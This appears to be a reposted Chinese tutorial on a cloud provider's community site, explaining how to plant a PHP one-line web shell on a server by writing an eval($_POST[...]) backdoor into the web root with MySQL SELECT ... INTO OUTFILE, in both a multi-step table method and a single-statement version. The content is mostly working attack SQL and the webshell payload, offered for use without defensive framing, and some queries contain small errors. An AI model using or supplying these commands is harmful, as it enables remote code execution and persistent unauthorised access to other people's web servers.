MySQL 匯出一句話

來源:互聯網
上載者:User

標籤:

聽說是很老的東西了,學習的時候發現還是很好用的,故學習轉載過來,留備學習。

 

mysql 匯出一句話  

  • 方法1:網上流行的方法

流程:(1)建表--->(2)插入資料--->(3)select查詢匯出 

 
USE test;                                    #調用test資料庫;
DROP TABLE IF EXISTS tmp; # 測試當前資料中是否存在tmp表;
CREATE TABLE tmp(cmd TEXT NOT NULL); # 建立表tmp,且其中的欄位為cmd,值不可為空;
INSERT INTO tmp(cmd) VALUES (‘<?php @eval($_POST[‘pass‘]);?>‘); # 向tmp表中cmd欄位插入一句話;
SELECT cmd FROM hello INTO OUTFILE ‘/home/htdocs/ok.php‘; # 使用 select ‘sth‘ into outfile ‘網站實體路徑‘;
DROP TABLE tmp; # 刪除表tmp。

Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裡面就一個cmd欄位
Insert INTO temp (cmd) VALUES(‘<? php eval($_POST[cmd]);?>‘); //把一句話木馬插入到temp表
Select cmd from temp into out file ‘d:/wwwroot/1.php‘; //查詢temp表中的一句話並把結果匯入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp

  • 方法2:直接select 查詢匯出一句話

  還有一個思路,就是通過select ‘一句話‘ into outfile ‘網站實體路徑‘ 即可,具體動作陳述式如下:

  select ‘<? php eval($_POST[cmd]);?>‘ into outfile ‘d:/phpstudy/wwww/1.php‘;

  這樣做簡潔明了,沒那麼多廢話。不知道網上的方法要操作那麼複雜(建表-插入資料-最後從表中匯出資料),真心複雜!!!

  如果誰知道,網上這樣操作的原因,請給我留言分享下!!!

MySQL 匯出一句話

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.